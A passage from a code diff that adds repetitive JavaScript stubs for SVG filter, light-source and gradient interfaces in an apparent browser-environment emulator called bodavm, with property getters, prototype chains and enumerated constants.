bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEOffsetElement对象 + +bodavm.memory.globalobj['SVGFEOffsetElement'] = function SVGFEOffsetElement() { + console.log_copy('SVGFEOffsetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEOffsetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEOffsetElement'], "SVGFEOffsetElement"); +bodavm.memory.globalobj['SVGFEOffsetElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEOffsetElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dx", { + configurable: true, + enumerable: true, + get: function dx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dy", { + configurable: true, + enumerable: true, + get: function dy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEPointLightElement对象 + +bodavm.memory.globalobj['SVGFEPointLightElement'] = function SVGFEPointLightElement() { + console.log_copy('SVGFEPointLightElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEPointLightElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEPointLightElement'], "SVGFEPointLightElement"); +bodavm.memory.globalobj['SVGFEPointLightElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEPointLightElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFESpecularLightingElement对象 + +bodavm.memory.globalobj['SVGFESpecularLightingElement'] = function SVGFESpecularLightingElement() { + console.log_copy('SVGFESpecularLightingElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFESpecularLightingElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpecularLightingElement'], "SVGFESpecularLightingElement"); +bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFESpecularLightingElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "surfaceScale", { + configurable: true, + enumerable: true, + get: function surfaceScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "surfaceScale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularConstant", { + configurable: true, + enumerable: true, + get: function specularConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularConstant_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularExponent", { + configurable: true, + enumerable: true, + get: function specularExponent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularExponent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthX", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthY", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFESpotLightElement对象 + +bodavm.memory.globalobj['SVGFESpotLightElement'] = function SVGFESpotLightElement() { + console.log_copy('SVGFESpotLightElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFESpotLightElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpotLightElement'], "SVGFESpotLightElement"); +bodavm.memory.globalobj['SVGFESpotLightElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFESpotLightElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtX", { + configurable: true, + enumerable: true, + get: function pointsAtX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtY", { + configurable: true, + enumerable: true, + get: function pointsAtY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "pointsAtZ", { + configurable: true, + enumerable: true, + get: function pointsAtZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "pointsAtZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "specularExponent", { + configurable: true, + enumerable: true, + get: function specularExponent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "specularExponent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpotLightElement', "limitingConeAngle", { + configurable: true, + enumerable: true, + get: function limitingConeAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpotLightElement'].prototype, "SVGFESpotLightElement", "limitingConeAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFETileElement对象 + +bodavm.memory.globalobj['SVGFETileElement'] = function SVGFETileElement() { + console.log_copy('SVGFETileElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFETileElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETileElement'], "SVGFETileElement"); +bodavm.memory.globalobj['SVGFETileElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFETileElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFETileElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETileElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETileElement'].prototype, "SVGFETileElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFETurbulenceElement对象 + +bodavm.memory.globalobj['SVGFETurbulenceElement'] = function SVGFETurbulenceElement() { + console.log_copy('SVGFETurbulenceElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFETurbulenceElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFETurbulenceElement'], "SVGFETurbulenceElement"); +bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFETurbulenceElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_NOSTITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_STITCH", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_STITCHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_TURBULENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_FRACTALNOISE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "SVG_TURBULENCE_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyX", { + configurable: true, + enumerable: true, + get: function baseFrequencyX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "baseFrequencyY", { + configurable: true, + enumerable: true, + get: function baseFrequencyY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "baseFrequencyY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "numOctaves", { + configurable: true, + enumerable: true, + get: function numOctaves() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "numOctaves_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "seed", { + configurable: true, + enumerable: true, + get: function seed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "seed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "stitchTiles", { + configurable: true, + enumerable: true, + get: function stitchTiles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "stitchTiles_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFETurbulenceElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFETurbulenceElement'].prototype, "SVGFETurbulenceElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFilterElement对象 + +bodavm.memory.globalobj['SVGFilterElement'] = function SVGFilterElement() { + console.log_copy('SVGFilterElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFilterElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFilterElement'], "SVGFilterElement"); +bodavm.memory.globalobj['SVGFilterElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFilterElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFilterElement', "filterUnits", { + configurable: true, + enumerable: true, + get: function filterUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "filterUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "primitiveUnits", { + configurable: true, + enumerable: true, + get: function primitiveUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "primitiveUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFilterElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFilterElement'].prototype, "SVGFilterElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGForeignObjectElement对象 + +bodavm.memory.globalobj['SVGForeignObjectElement'] = function SVGForeignObjectElement() { + console.log_copy('SVGForeignObjectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGForeignObjectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGForeignObjectElement'], "SVGForeignObjectElement"); +bodavm.memory.globalobj['SVGForeignObjectElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGForeignObjectElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGForeignObjectElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGForeignObjectElement'].prototype, "SVGForeignObjectElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGGradientElement对象 + +bodavm.memory.globalobj['SVGGradientElement'] = function SVGGradientElement() { + console.log_copy('SVGGradientElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGGradientElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGGradientElement'], "SVGGradientElement"); +bodavm.memory.globalobj['SVGGradientElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGGradientElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientUnits", { + configurable: true, + enumerable: true, + get: function gradientUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "gradientTransform", { + configurable: true, + enumerable: true, + get: function gradientTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, "SVGGradientElement", "gradientTransform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGGradientElement', "spreadMethod", { + configurable: true, + enumerable: true, + get: function spreadMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGradientElement'].prototype, 